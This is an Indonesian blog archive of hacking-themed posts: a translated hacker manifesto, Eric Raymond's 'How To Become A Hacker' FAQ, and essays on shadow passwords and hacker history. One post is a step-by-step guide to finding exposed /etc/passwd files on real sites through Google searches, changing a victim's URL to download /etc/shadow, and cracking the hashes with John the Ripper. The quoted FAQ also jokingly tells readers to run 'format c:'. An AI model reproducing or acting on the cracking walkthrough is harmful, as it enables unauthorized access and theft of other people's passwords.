Tampilkan postingan dengan label hacking. Tampilkan semua postingan
Tampilkan postingan dengan label hacking. Tampilkan semua postingan

Kamis, 29 Januari 2009

Manifesto Hacker

Ada semacam romantisme kenakalan remaja pada budaya hacker. Napas-napas pemberontakan yang memikat. Romantisme tersebut berasal dari idealisme kebebasan dan rasa ingin tahu. Seperti tercermin dalam dokumen 'The Conscience of a Hacker' (Hati Nurani Seorang Hacker) yang dituliskan seorang bernama Lyod Blankenship yang di kalangan undergroun lebih dikenal dengan sebutan The Mentor.
Berikut cuplikan dokumen yang kerap disebut 'Manifesto Hacker' itu :

Inilah dunia kami... dunia elektron dan switch, beauty of the baud. Kalian menyebut kami penjahat... karena kami menggunakan layanan yang sudah ada tanpa membayar, padahal layanan itu seharusnya sangat murah jika tidak dikuasai oleh orang-orang rakus. Kami kalian sebut penjahat... karena kami gemar menjelajah. Kami kalian sebut penjahat... karena kami mengejar ilmu pengetahuan. Kami ada tanpa warna kulit, tanpa kebangsaan, tanpa bias agama... tapi bagi kalian kami penjahat. Kami adalah penjahat... sedangkan kalianlah yang membuat bom nuklir, mengobarkan peperangan, membunuh, berbuat curang, berbohong, dan berusaha membuat kami percaya bahwa itu semua demi kebaikan kami.
Ya, aku adalah penjahat. Kejahatanku adalah keingintahuanku. Kejahatanku adalah menilai orang berdasarkan perkataan dan pikiran mereka, dan bukan berdasarkan penampilan mereka. Kejahatanku adalah menjadi lebih pintar dari kalian, sebuah dosa yang tak akan bisa kalian ampuni.
Aku adalah hacker, dan inilah manifestoku. Kau bisa menghentikan satu, tapi kau tak bisa menghentikan kami semuanya... Bagaimanapun juga, kami semua sama. (The Mentor, 1986)
Read More..

Senin, 19 Januari 2009

john the ripper

target

Sekarang kita akan mencari target. Biasa.. kita mampir ke rumahnya paman
Google (google.com). Ketik keyword berikut lalu klik tombol search:

Inurl:/etc/passwd/

Eits.. tunggu dulu.. maksudnya apaan nich?? Okay, gue jelasin yach ....
Untuk melakukan password cracking, kita khan harus tau dimana file password
yang mau di-crack. Naah, target kita kali ini adalah sistem operasi Linux.

Pada OS Linux, file passwordnya berada di lokasi /etc/passwd. Sedangkan
shadow passwordnya berada di /etc/shadow (baca arsip lama mengenai Shadow
Password ). Dengan bantuan paman google, kita berusaha mencari file password
dengan cara mengetikkan keyword diatas.

Well.. gimana nich hasil pencariannya? pasti muncul banyak khan.. ;) Klik
salah satu link, dan isi file /etc/passwd akan ditampilkan. oleh browser. Copy
- pastekan isi file tersebut pada notepad dan simpan dengan nama password.txt.

Sekarang, kita akan melihat isi file shadow passwordnya.Misalkan url situs
korban yang anda buka tadi adalah:

http://www.spyrozone.tk/spyrokid/config/etc/passwd-

Ubahlah alamat itu pada address bar menjadi:

http://www.spyrozone.tk/spyrokid/config/etc/shadow-

Naah, kini isi dari file etc/shadow akan ditampilkan oleh browser. Copy -
paste isi file tersebut pada notepad, lalu simpan dengan nama shadow.txt.



::--||-[3]. Password Cracking
-----------------------------

Eh, udah punya John The Ripper belum?? Kalau belum, kamu bisa download
John The Ripper di member area www.spyrozone.tk. Kalau sudah, saatnya kita
melakukan password craCKING!

Extract file hasil downloadnya ke suatu folder lalu buka lewat MSDOS. Biar
gampang,copy juga file password.txt dan shadow.txt tadi ke directory yang sama
dengan John The Ripper. Setelah itu, gabungkan file password.txt dan file
shadow.txt dengan menggunakan program unshadow.exe milik John The Ripper.
Perintahnya ialah:

unshadow password.txt shadow.txt >> crack.txt

Setelah itu, kita gunakan john-mmx.exe untuk mengCRACK file crack.txt
dengan menggunakan perintah:

john-mmx crack.txt

Tunggu dech.. lamanya hasil crack yang keluar tergantung dari seberapa
panjang password korban dan seberapa rumit karakter (special characters) yang
digunakan dalam password. Jika proses cracking berhasil, akan muncul:

username (password)



Read More..

Jumat, 16 Januari 2009

SHADOW PASSWORD

Secara umum teknik "Shadow Password" di susun sebagai berikut:
Untuk semua entry dalam direktori '/etc/passwd_file' , password yang terenkripsi dipindah ke file yang lain, seperti '/etc/shadow'.
Sementara '/etc/passwd' dapat dibaca oleh tiap orang dalam sistem, 'etc/shadow' hanya dapat dibaca oleh group yang bersangkutan, bahkan mungkin hanya dapat dibaca oleh superuser. Hal ini diperlukan untuk mengantisipasi daftar password yang terenkripsi dipecahkan oleh program dictionary.
Ide pada "menyembunyikan informasi" (information hiding) adalah satu dari banyak teknik yang terkandung dalam kategori "Security through Obscurity". Menurut orang-orang komunitas LINUX, ada 2 opini tentang "Security through Obscurity", yaitu:

1. "Dapat membantu dan tidak dapat dirusak, maka marilah kita menggunakannya"
2. "Sebenarnya dapat dirusak, sebab dia membuat perasaan yang salah pada sekuriti, dan sebaiknya jangan digunakan"

Tetapi masih banyak lagi orang yang akan mengemukakan kebaikan dari menggunakan shadow password, maka akan dikemukakan ketidak-baikan dari shadow password. Asumsi utama ketika orang menggunakan sistem dengan shadow password adalah bahwa penggunaan sistem ini menjanjikan bahwa tidak seorang pun yang tidak mempunyai hak, akan dapat melihat daftar passwordnya.
Tetapi bagaimanapun juga, ada beberapa manusia dapat membuat kesalahan dengan melepas daftar password tersebut. Mungkin lawan (Adversary) yang mempunyai akses root sebelumnya, dengan menuju ke "tempat kerja" SysAdmin pada waktu yang tepat, ia akan dapat memperoleh informasi yang dibutuhkan. Adversary mungkin tidak cukup waktu untuk meng-install program "backdoor", tetapi dia dapat "melayangkan pukulan pada file password tersebut.
Atau dengan membuat sebuah error pada setting permission dari 'etc/shadow', atau memberi instruksi "chmod a+r /etc/*" tanpa memikirkan keterlibatannya pada'/etc/shadow'.
Atau kemungkinan lain yaitu terdapatnya problem sekuriti yang baru saja di perbaiki setelah menggunakan "CERT advisory", hal ini akan membuat daftar password akan terbaca oleh siapapun juga ! Dan masih banyak cara lagi untuk melepaskan isi dari '/etc/shadow', bila kita pernah menjadi seorang SysAdmin yang berpengalaman.
Masalah dengan menggunakan sistem seperti shadow password adalah system ini akan memberikan perasaan salah dari security (false sense of security). Pada kasus ini, mereka akan mengira bahwa daftar password sudah aman dan terproteksi. Perasaan ini sering membuat sysAdmin malas menggunakan metode yang lebih superior, dan lebih pro-aktif (pro-active method) untuk memproteksi file password.
Yang paling mudah dan yang paling murah pada metoda pro-aktif adalah cara menukar direktori password. Tidak ada sistem lain yang diubah, --hanya menukar posisi direktori '/bin/passwd'. Terdapat beberapa program dan utiliti UNIX untuk menukar default direktori password, seperti "Matt Bishop's passwd+" dari darmouth.edu:/pub/security dan "Mark Henderson's ANLpasswd" dari info.mcs.anl.gov:/pub/systems.
Pada dasarnya, tiap seseorang mengubah pasword, program-program tadi akan membandingkan dengan dictionary (dan ke gecos field), hal ini mirip dengan cara kerja program ceacker. Apabila user memilih password yang "lemah", program pro-aktif ini akan memaksa user untuk mengubah pilihan password mereka.
Tanpa menggunakan sebuah program pro-aktif, kita harus juga mengkawatirkan tentang serangan program cracker (pada risetm, lebih dari 15 tahun belakangan ini, tanpa program pro-aktif, sebagian besar user akan memilih password yang mudah, dapat di crack, sering berupa nama depan wanita). Apabila bergantung pada sebuah sistem shadow password untuk mengamankan password kita, maka direktory '/etc/shadow/' akan dijamin mudah diserang.
Bagaimanapun juga, ketika menggunakan sebuah pro-aktif password checker, kita dapat mengumumkan ke dunia luar nama-nama password yang mudah diserang. Memaksa user untuk mengganti password mereka secara berkala juga akan mengurangi kemungkinan bocornya sekuriti.
Read More..

Rabu, 31 Desember 2008

How To Become A Hacker

Q: How do I tell if I am already a hacker?

A:Ask yourself the following three questions:

*Do you speak code, fluently?
*Do you identify with the goals and values of the hacker community?
*Has a well-established member of the hacker community ever called you a hacker?

If you can answer yes to all three of these questions, you are already a hacker. No two alone are sufficient.

The first test is about skills. You probably pass it if you have the minimum technical skills described earlier in this document. You blow right through it if you have had a substantial amount of code accepted by an open-source development project.

The second test is about attitude. If the five principles of the hacker mindset seemed obvious to you, more like a description of the way you already live than anything novel, you are already halfway to passing it. That's the inward half; the other, outward half is the degree to which you identify with the hacker community's long-term projects.

Here is an incomplete but indicative list of some of those projects: Does it matter to you that Linux improve and spread? Are you passionate about software freedom? Hostile to monopolies? Do you act on the belief that computers can be instruments of empowerment that make the world a richer and more humane place?

But a note of caution is in order here. The hacker community has some specific, primarily defensive political interests — two of them are defending free-speech rights and fending off "intellectual-property" power grabs that would make open source illegal. Some of those long-term projects are civil-liberties organizations like the Electronic Frontier Foundation, and the outward attitude properly includes support of them. But beyond that, most hackers view attempts to systematize the hacker attitude into an explicit political program with suspicion; we've learned, the hard way, that these attempts are divisive and distracting. If someone tries to recruit you to march on your capitol in the name of the hacker attitude, they've missed the point. The right response is probably “Shut up and show them the code.”

The third test has a tricky element of recursiveness about it. I observed in the section called “What Is a Hacker?” that being a hacker is partly a matter of belonging to a particular subculture or social network with a shared history, an inside and an outside. In the far past, hackers were a much less cohesive and self-aware group than they are today. But the importance of the social-network aspect has increased over the last thirty years as the Internet has made connections with the core of the hacker subculture easier to develop and maintain. One easy behavioral index of the change is that, in this century, we have our own T-shirts.

Sociologists, who study networks like those of the hacker culture under the general rubric of "invisible colleges", have noted that one characteristic of such networks is that they have gatekeepers — core members with the social authority to endorse new members into the network. Because the "invisible college" that is hacker culture is a loose and informal one, the role of gatekeeper is informal too. But one thing that all hackers understand in their bones is that not every hacker is a gatekeeper. Gatekeepers have to have a certain degree of seniority and accomplishment before they can bestow the title. How much is hard to quantify, but every hacker knows it when they see it.

Q: Will you teach me how to hack?

A: Since first publishing this page, I've gotten several requests a week (often several a day) from people to "teach me all about hacking". Unfortunately, I don't have the time or energy to do this; my own hacking projects, and working as an open-source advocate, take up 110% of my time.

Even if I did, hacking is an attitude and skill you basically have to teach yourself. You'll find that while real hackers want to help you, they won't respect you if you beg to be spoon-fed everything they know.

Learn a few things first. Show that you're trying, that you're capable of learning on your own. Then go to the hackers you meet with specific questions.

If you do email a hacker asking for advice, here are two things to know up front. First, we've found that people who are lazy or careless in their writing are usually too lazy and careless in their thinking to make good hackers — so take care to spell correctly, and use good grammar and punctuation, otherwise you'll probably be ignored. Secondly, don't dare ask for a reply to an ISP account that's different from the account you're sending from; we find people who do that are usually thieves using stolen accounts, and we have no interest in rewarding or assisting thievery.

Q:How can I get started, then?

A: The best way for you to get started would probably be to go to a LUG (Linux user group) meeting. You can find such groups on the LDP General Linux Information Page; there is probably one near you, possibly associated with a college or university. LUG members will probably give you a Linux if you ask, and will certainly help you install one and get started.

Q: When do you have to start? Is it too late for me to learn?

A: Any age at which you are motivated to start is a good age. Most people seem to get interested between ages 15 and 20, but I know of exceptions in both directions.

Q: How long will it take me to learn to hack?

A: That depends on how talented you are and how hard you work at it. Most people who try can acquire a respectable skill set in eighteen months to two years, if they concentrate. Don't think it ends there, though; in hacking (as in many other fields) it takes about ten years to achieve mastery. And if you are a real hacker, you will spend the rest of your life learning and perfecting your craft.

Q: Is Visual Basic a good language to start with?

A: If you're asking this question, it almost certainly means you're thinking about trying to hack under Microsoft Windows. This is a bad idea in itself. When I compared trying to learn to hack under Windows to trying to learn to dance while wearing a body cast, I wasn't kidding. Don't go there. It's ugly, and it never stops being ugly.

There is a specific problem with Visual Basic; mainly that it's not portable. Though there is a prototype open-source implementations of Visual Basic, the applicable ECMA standards don't cover more than a small set of its programming interfaces. On Windows most of its library support is proprietary to a single vendor (Microsoft); if you aren't extremely careful about which features you use — more careful than any newbie is really capable of being — you'll end up locked into only those platforms Microsoft chooses to support. If you're starting on a Unix, much better languages with better libraries are available. Python, for example.

Also, like other Basics, Visual Basic is a poorly-designed language that will teach you bad programming habits. No, don't ask me to describe them in detail; that explanation would fill a book. Learn a well-designed language instead.

One of those bad habits is becoming dependent on a single vendor's libraries, widgets, and development tools. In general, any language that isn't fully supported under at least Linux or one of the BSDs, and/or at least three different vendors' operating systems, is a poor one to learn to hack in.

Q: Would you help me to crack a system, or teach me how to crack?

A: No. Anyone who can still ask such a question after reading this FAQ is too stupid to be educable even if I had the time for tutoring. Any emailed requests of this kind that I get will be ignored or answered with extreme rudeness.

Q: How can I get the password for someone else's account?

A: This is cracking. Go away, idiot.

Q: How can I break into/read/monitor someone else's email?

A: This is cracking. Get lost, moron.

Q: How can I steal channel op privileges on IRC?

A: This is cracking. Begone, cretin.

Q: I've been cracked. Will you help me fend off further attacks?

A: No. Every time I've been asked this question so far, it's been from some poor sap running Microsoft Windows. It is not possible to effectively secure Windows systems against crack attacks; the code and architecture simply have too many flaws, which makes securing Windows like trying to bail out a boat with a sieve. The only reliable prevention starts with switching to Linux or some other operating system that is designed to at least be capable of security.

Q: I'm having problems with my Windows software. Will you help me?

A: Yes. Go to a DOS prompt and type "format c:". Any problems you are experiencing will cease within a few minutes.

Q: Where can I find some real hackers to talk with?

A: The best way is to find a Unix or Linux user's group local to you and go to their meetings (you can find links to several lists of user groups on the LDP site at ibiblio).

(I used to say here that you wouldn't find any real hackers on IRC, but I'm given to understand this is changing. Apparently some real hacker communities, attached to things like GIMP and Perl, have IRC channels now.)

Q: Can you recommend useful books about hacking-related subjects?

A: I maintain a Linux Reading List HOWTO that you may find helpful. The Loginataka may also be interesting.

For an introduction to Python, see the introductory materials on the Python site.

Q: Do I need to be good at math to become a hacker?

A: No. Hacking uses very little formal mathematics or arithmetic. In particular, you won't usually need trigonometry, calculus or analysis (there are exceptions to this in a handful of specific application areas like 3-D computer graphics). Knowing some formal logic and Boolean algebra is good. Some grounding in finite mathematics (including finite-set theory, combinatorics, and graph theory) can be helpful.

Much more importantly: you need to be able to think logically and follow chains of exact reasoning, the way mathematicians do. While the content of most mathematics won't help you, you will need the discipline and intelligence to handle mathematics. If you lack the intelligence, there is little hope for you as a hacker; if you lack the discipline, you'd better grow it.

I think a good way to find out if you have what it takes is to pick up a copy of Raymond Smullyan's book What Is The Name Of This Book?. Smullyan's playful logical conundrums are very much in the hacker spirit. Being able to solve them is a good sign; enjoying solving them is an even better one.

Q: What language should I learn first?

A: XHTML (the latest dialect of HTML) if you don't already know it. There are a lot of glossy, hype-intensive bad HTML books out there, and distressingly few good ones. The one I like best is HTML: The Definitive Guide.

But HTML is not a full programming language. When you're ready to start programming, I would recommend starting with Python. You will hear a lot of people recommending Perl, and Perl is still more popular than Python, but it's harder to learn and (in my opinion) less well designed.

C is really important, but it's also much more difficult than either Python or Perl. Don't try to learn it first.

Windows users, do not settle for Visual Basic. It will teach you bad habits, and it's not portable off Windows. Avoid.

Q: What kind of hardware do I need?

A: It used to be that personal computers were rather underpowered and memory-poor, enough so that they placed artificial limits on a hacker's learning process. This stopped being true in the mid-1990s; any machine from an Intel 486DX50 up is more than powerful enough for development work, X, and Internet communications, and the smallest disks you can buy today are plenty big enough.

The important thing in choosing a machine on which to learn is whether its hardware is Linux-compatible (or BSD-compatible, should you choose to go that route). Again, this will be true for almost all modern machines. The only really sticky areas are modems and wireless cards; some machines have Windows-specific hardware that won't work with Linux.

There's a FAQ on hardware compatibility; the latest version is here.

Q: I want to contribute. Can you help me pick a problem to work on?

A: No, because I don't know your talents or interests. You have to be self-motivated or you won't stick, which is why having other people choose your direction almost never works.

Try this. Watch the project announcements scroll by on Freshmeat for a few days. When you see one that makes you think "Cool! I'd like to work on that!", join it.

Q: Do I need to hate and bash Microsoft?

A: No, you don't. Not that Microsoft isn't loathsome, but there was a hacker culture long before Microsoft and there will still be one long after Microsoft is history. Any energy you spend hating Microsoft would be better spent on loving your craft. Write good code — that will bash Microsoft quite sufficiently without polluting your karma.

Q: But won't open-source software leave programmers unable to make a living?

A: This seems unlikely — so far, the open-source software industry seems to be creating jobs rather than taking them away. If having a program written is a net economic gain over not having it written, a programmer will get paid whether or not the program is going to be open-source after it's done. And, no matter how much "free" software gets written, there always seems to be more demand for new and customized applications. I've written more about this at the Open Source pages.

Q: Where can I get a free Unix?

A:If you don't have a Unix installed on your machine yet, elsewhere on this page I include pointers to where to get the most commonly used free Unix. To be a hacker you need motivation and initiative and the ability to educate yourself. Start now...

Read More..

Sabtu, 29 November 2008

BECOME A HACKER OR CRACKER

Hacker dalam tulisan Eric Steven Raymond adalah " there is a community, a shared culture, of expert programmers and networking wizards that its history back trough decades to the firs time-sharing minicomputers and the earliesr ARPAnet experiment"

Dengan kata lain, Raymon mengatakan, "the members of this culture originated the term 'hacker'". Para hackerlah yang kemudian memperkenalkan internet, membuat program sistem operasi UNIX hingga bisa digunakan saat ini. Dan para hacker pula lah yang telah berjasa dalam menjalankan World Wide Web sehingga dapat dinikmati oleh semua orang di seluruh dunia di belahan manapun dia berada asal terkoneksi pada internet.

Lebih lanjut Raymon mengatakan " jika anda berada pada komunitas ini dan jika anda memiliki konstribusi didalamnya, dan kemudian orang mengenal anda sebagai hacker, maka anda adalah seorang hacker".

Sekilas dari pandangan Raymon kita dapat satu definisi bahwa seorang hacker bukanlah orang yang jahat seperti yang kita pikirkan selama ini. Ya, jika mereka memang bisa masuk kedalam komputer kita (malalui jaringan internet) karena mereka bisa menguasai ilmunya. Namun jika ada orang yang kemudian masuk secara ilegal kedalam komputer kita dan kemudian "mencuri dan mengacak-ngacak" data kita, mereka adalah CRACKER. Dan bisa jadi mereka adalah seorang hacker dalam dunia yang berbeda. Dengan kata lin, mereka semua adalah para ahli dalam hal teknologi informasi ini dan berkecimpung serius didalamnya.

Namun untuk menghindari kerancuan, maka sebuah kata kunci dalam masalah ini, menurut Raymon adalah perbedaan antara keduanya; seorang Hacker adalah dia yang membangun sistem, sementara seorang Cracker malah "menghancurkannya". (How to become a hacker, Eric S. Raymond, 2001).

Kapan istilah hacker menjadi trend sebagai sebuah kejahatan yang menakutkan? Tidak lain karena "dosa" pakar film di hollywood yang membiaskan istilah hacker dan cracker ini. Banyak film yang mengangkat tema hacker dalam sebuah bentuk "penghancuran sistem informasi " yang seharusnya makna itu diterapkan pada seorang cracker.

Sebut misalnya film the Net (1995), Take Down(1999). Film tersebut mengangkat tema hacker untuk menyebut cracker.

Dan dari kesalah penafsiran tadi, hingga kini pun istilah hacker masih dibiaskan dengan istilah cracker. Kerancuan itu tidak hanya terjadi di Indonesia saja, bahkan di luar negeripun pandangan terhadap keduanya sama seperti itu.

Terminologi hacker muncul pada awal tahun 1960-an diantara anggota organisasi mahasiswa Tech Model Railroad club di Lab Kecerdasan Artifisial Masschusetts Institute Of Teknology (MIT). Istilah hacker awalnya bermakna positif untukmenyebut seorang anggota yang memiliki keahlian dalam bidang komputer dan mampu membuat progranm komputer dengan lebih baik ketimbang yang ada sebelumnya (Memahmi karakteristik Komunitas Hacker: Studi Kasus pada Komunitas Hacker Indonesia, Donny B.U, M.Si)

MENJADI HACKER

Mungkin sekilas tentang definisi di atas cukup untuk membatasi sejauhmana peranan seorang hacker dan cracker itu. Tulisan ini tidak akan mengangkat sejarah hacker dan awal mula kerancuannya. Namun lebih menitik beratkan pada bagaimana seandainya kita belajar menjadi hacker. Atau lebih spesifik, bisakah kita menjadi seorang hacker?

Dalam tulisan How to Become a Hacker, Eric Steven Raymon mengatakan bahwa menjadi hacker tidaklah segampang yang dikira. Langkah awal untuk menjadi seorang hacker haruslah menguasai minimal 5 bahasa pemrograman yang ada. Ia menyebut bahasa pemrograman C/C++, Java, Perl, Phyton & LISP. Selain itu mampu berinteraksi dengan program HTML untuk dapat membangun komunikasi dengan jaringan internet. Semua dasar diatas adalah ilmu yang "wajib" dimiliki jika kita memang berminat untuk menjadi seorang hacker sejati. Karena pada dasarnya menjadi Hacker adalah penguasaan terhadap membaca dan menulis kode.

Kenapa kode? Karena memang komputer yang kita jalankan setiap hari pada intinya adalah terdiri dari berbagai kode instruksi yang cukup rumit.

Selain penguasaan terhadap bahasa pemrograman diatas, kita pun harus punya bekal yang cukup dalam berbahasa inggris untuk dapat saling bertukar pikiran dengan komunitas hacker dari seluruh dunia. Ini tidak dilarang karena pada umumnya, mereka (anggota komunitas tersebut) memiliki kode etik tersendiri tentang open-source atau kode-kode program yang boleh dibuka dan diutak atik oleh orang lain. Contoh, kode-kode Linux yang marak di perkenalkan baru-baru ini memiliki konsep open source dan karenanya bisa dimiliki oleh khalayak ramai dengan sebutan free software.

Kembali pada persoalan diatas, menjadi seorang hacker untuk tujuan saling berbagi ilmu dalam teknologi informasi ini, atau dalam arti yang lebih luas untuk memudahkan pemakai komputer pada masa yang akan datang, bukanlah hal harus ditakuti. Sebaliknya, ilmu tersebut harus diterjemahkan dan sama-sama digali sehingga menjadi bagian terintegral dalam memahami lika-liku dunia cyber. Asal saja kita tidak terjebak pada prilaku yang negatif sehingga menjadi seorang cracker yang membobol sitem rahasia orang lain.

AWAL SEBUAH PERJUANGAN

Ketika kita meniatkan diri untuk lebih akrab dengan dunia hacker, maka selain beberapa bekal yang disebutkan diatas, penguasaan bahasa pemrograman, html dan bahasa inggris, nampaknya niat tersebut harus juga dilengkapi dengan satu sikap mendasar tentang orientasi dan tujuan awal kita menjadi seorang hacker. Alih-alih menjadi seorang pakar pemrograman yang baik, jika tidak benar malah bisa terjebak pada prilaku negativ yang tidak hanya merugikan orang lain tapi merugikan diri sendiri. Konon, jika seandainya saja anda menjadi seorang cracker dan anda dikenal suka membuka rahasia orang lain, maka, jangan harap anda dapat dengan mudah berjalan-jalan kemanca negara. Karena, kata beberapa sumber, nama anda sudah di "black list" sebagai penjahat cyber?

Di sisi ini menarik untuk di simak, satu sisi, kita butuh teknologi canggih yang kerap bermunculan dalam hitungan detik, sisi lain ada kehawatiran takut terjebak pada pola "nyeleneh" yang berakibat patal. Namun demikian, sebagai satu sikap, kita berpijak pada satu kesepakatan, bahwa mempelajari bahasa-bahasa yang ditawarkan oleh Eric Steven Raymon diatas, adalah hal yang baik. Karena dengan mempelajarinya, kita minimal dapat mendapat solusi untuk membuat program yang berguna bagi orang lain. Dan jika ini dilakukan, percayalah, anda adalah seorang hacker.
Read More..

Selasa, 18 November 2008

Origin Of Hacker

Hacker berawal dari hack, istilah setempat untuk menyebut lelucon yang tidak berbahaya tapi melibatkan proses berpikir, kemampuan teknis, dan kreativitas yang melampaui batas. Dari sini awal filosofi hacker untuk melakukan sesuatu secara kreatif.
Kemudian, pada era 1950-an, dengan banyak kekangan di kampus, muncul istilah Tunnel Hacking. Ini mengacu pada cara-cara kreatif mahasiswa menembus aturan sekolah dan menyusup ke dalam terowongan – terowongan bawah tanah kampus yang bagai labirin. Ini yang kemudian menjadi akar filosofi hacker untuk melakukan sesuatu secara bebas (penjelajahan tanpa batas).
Kamudian istilah hacker muncul di kelompok penggermar kereta api. Terutama dari kelompok teknis yang menciptakan perangkat elektronik untuk mengendalikan model kereta api. Ketika itu berawal sebuah filosofi hacker yang hingga kini masih dipengang erat. Filosofi itu adalah Efisiensi.
Hacker computer baru mulai berkembang pada akhir tahun 1950-an. Saat itu muncul computer pertama di kampus, jenis dari salah satu computer komersial pertama di dunia. Lahirlah istilah hack yang berarti membuat program piranti lunak tanpa memperhatikan cara-cara resmi dalam membuat piranti lunak. Ini juga berarti melakukan perbaikan pada efisiensi dan kecepatan program yang sudah ada. Dan ini juga berarti menulis sebuah program hanya demi kesenangan belaka.
Pada 1970-anm definisi hacker berkembang lagi. Hacker adalah orang yang menulis kode program hanya demi menulis kode program. Layaknya istilah seniman, hacker merupakan bentuk pujian jika diucapkan oleh orang lain kepada seseorang.
Di tahun 1980-an komunitas hacker yang ekslusif makin terlihat kontras dengan filosofi kebebasan yang mereka anut. Meluasnya ARPANet, cikal bakal internet, membuat hacker dan ilmuan computer bisa saling bertukar pikiran dari jarak jauh. Filosofi hacker pun menembus dinding-dinding kampus MIT dan meluas ke seluruh dunia.
Namun satu hal yang hilang adalah prinsip melakukan sesuatu tanpa maksud jahat. Seperti istilah hack pada awalnya, hacker hanya memanipulasi system yang ada demi tujuan yang baik. Misalnya, untuk menghapuskan efisiensi, atau sekedar bersenang-senang. Namun saat hacker meluas, muncul orang-orang yang memanfaatkan kemampuan teknis untuk melakukan perbuatan yang tidak etis, bahkan jahat.
Istilah hacker pun menjelma seperti saat ini, layaknya bola ping-pong yang dimainkan di atas meja, terpantul-pantul dari satu sisi ke sisi yang lainnya. Hacker pada saat yang sama mengacu pada orang-orang dengan kemampuan teknis yang tinggi, tapi di sisi lain mengacu juga pada pembobol program computer dan rampok elektronik.
Read More..

Kamis, 06 November 2008

How To Become A Hacker???

Stop! jangan salah menyangka dan menuduh kalo aku sudah lebih hebat dari teman2,
dan merasa sok hebat untuk meng-gurui teman2, TIDAK! ini hanyalah apresiasi
terhadap usaha teman-teman yang mau belajar dan terus terang artikel inipun
secaragaris besar meniru artikel "HOW TO BECOME A HACKER" oleh kang "eric S R "
dan telah menyalin ulang beberapa poin penting dari artikel berlicensi GPL tsb.

Artikel inipun telah di bubuhi tambalan2 dari beberapa pertanyaan yang sering
di temui. Adapun yang aku coba lakukan adalah hanya coba mendokumentasikannya
disini dengan harapan jika ada yang memerlukannya dapat dengan mudah me-refer
ke artikel ini.

Soal Version 1.0 , aku sengaja menambahkan versi agar artikel ini tidak baku,
artinya bisa di perbaiki , dihapus, di edit, di sempurnakan sesuai dengan
masukan dari semua teman2 dan perkembangan yang terjadi nantinya .



[F.A.Q]

[0] T : Tolong Jelaskan Apa Itu HAcker ?
J : Hacker adalah: Seseorang yang tertarik untuk mengetahui secara mendalam
mengenai kerja suatu system, komputer, atau jaringan komputer."

[1] T : Maukah Anda mengajari saya cara hacking?
J : Hacking adalah sikap dan kemampuan yang pada dasarnya harus dipelajari sendiri.
Anda akan menyadari bahwa meskipun para hacker sejati bersedia membantu,
mereka tidak akan menghargai Anda jika Anda minta disuapi segala hal yang
mereka ketahui

Pelajari dulu sedikit hal. Tunjukkan bahwa Anda telah berusaha, bahwa Anda
mampu belajar mandiri. Barulah ajukan pertanyaan-pertanyaan spesifik pada
hacker yang Anda jumpai.

Jika toh Anda mengirim email pada seorang hacker untuk meminta nasihat,
ketahuilah dahulu dua hal. Pertama, kami telah menemukan bahwa orang-orang
yang malas dan sembrono dalam menulis biasanya terlalu malas dan sembrono
dalam berpikir sehingga tidak cocok menjadi hacker -- karena itu usahakanlah
mengeja dengan benar, dan gunakan tata bahasa dan tanda baca yang baik,
atau Anda tidak akan diacuhkan.

Kedua, jangan berani-berani meminta agar jawaban dikirim ke alamat email
lain yang berbeda dari alamat tempat Anda mengirim email; kami menemukan
orang-orang ini biasanya pencuri yang memakai account curian, dan kami
tidak berminat menghargai pencuri

T : Kalau begitu arahkan saya?
J : Baiklah , kamu harus belajar !!

T : Apa yang harus di pelajari ?
J : Networking (jaringan) , Programing , Sistem Operasi , Internet

T : wow, apa gak terlalu banyak tuh ?
J : Tidak, Semua itu tidak harus kamu kuasai dalam waktu cepat, basicnya yang penting
Ingat semua itu perlu proses!

T : Networking saya mulai dari mana ?
J : Pengetahuan dasar jaringan ( konsep TCP/IP) , komponen dasar jaringan, topologi
jaringan, terlalu banyak artikel yang dapat kamu baca dan buku yang bertebaran
di toko toko buku, atau kamu bisa mencoba berkunjung kesitus ilmukomputer.com

T : Untuk programing ?
J : Mungkin yang terpenting adalah 'logika' pemrograman , jadi lebih kearah
pemanfaatan logika , ada baiknya belajar algoritma , pengenalan flowchart
atau bagan alur untuk melatih logika (teoritis) serta untuk prakteknya sangat
disarankan belajar pemrograman yang masih menomer satukan logika/murni

T : Kalau begitu bahasa pemrograman apa yang harus saya pelajari awalnya?
J : Bahasa Pemrograman apapun sebenarnya sama baik, tetapi ada baiknya belajar
bahasa seperti C , Perl , Phyton, Pascal, C++ , bukan berarti
menjelek-jelekkan visual programing ( nanti kamu akan tau bedanya )
(*ini murni pengalaman pribadi)

[3] T : Bagaimana saya harus memulai programing ?
J : Kumpulkan semua dokumentasi, manual, how to , FAQ , buku , dan contoh contoh
dari bahasa pemrograman yang akan anda pelajari , Cari dan install software
yang dibutuhkan oleh bahasa tersebut (Sesuai dokumentasi) , cobalah memprogram
walaupun program yang simple, dan kamu tidak di "haramkan" untuk mengetik ulang
program contoh dengan harapan kamu akan lebih mengerti dibandingkan kamu hanya
membaca saja, cari guru, teman atau komunitas yang bisa diajak bekerja sama
dalam mempelajari bahasa tersebut ( gabung dimilis, forum khusus bahasa tsb )
, sisanya tergantung seberapa besar usaha kamu. jangan mudah menyerah apalagi
sampai putus asa.

[1] T : Apakah Visual Basic atau Delphi bahasa permulaan yang bagus?
J : Tidak, karena mereka tidak portabel. Belum ada implementasi open-source dari
bahasa-bahasa ini, jadi Anda akan terkurung di platform yang dipilih oleh vendor.
Menerima situasi monopoli seperti itu bukanlah cara hacker.

[1] T : Apakah matematika saya harus bagus untuk menjadi hacker?
J : Tidak. Meskipun Anda perlu dapat berpikir logis dan mengikuti rantai pemikiran
eksak, hacking hanya menggunakan sedikit sekali matematika formal atau aritmetika.

Anda terutama tidak perlu kalkulus atau analisis (kita serahkan itu kepada para
insinyur elektro :-)). Sejumlah dasar di matematika finit (termasuk aljabar Bool,
teori himpunan hingga, kombinasi, dan teori graph) berguna.

T : Tentang pemrograman Web , apakah harus ?
J : Yupe, dikarenakan Internet adalah dunia kamu nantinya

T : Bahasa pemrograman web apa yang sebaiknya dipelajari untuk pemula ?
J : Mungkin kamu bisa mencoba HTML, dilanjutkan ke PHP yang akan membuat kamu lebih
familiar ke programing secara penuh

T : Tentang Sistem Operasi , kenapa harus ?
J : Penguasaan terhadap suatu operating system adalah sangat penting, kenapa ?
karena itulah lingkungan kamu nantinya , perdalami cara kerja suatu operating
system , kenali dan akrabkan diri :)

T : Sebaiknya, Operating system apa yang saya perdalami?
J : mungkin kamu bisa coba linux atau BSD , selain mereka free , dukungan komunitas
juga sangat banyak sehingga kamu tidak akan di tinggal sendirian jika menemukan
masalah, dan pula kemungkinan kamu untuk dapat berkembang sangatlah besar
dikarenakan sifat "open source"

T : Untuk pemula seperti saya , apa yang harus saya gunakan ?
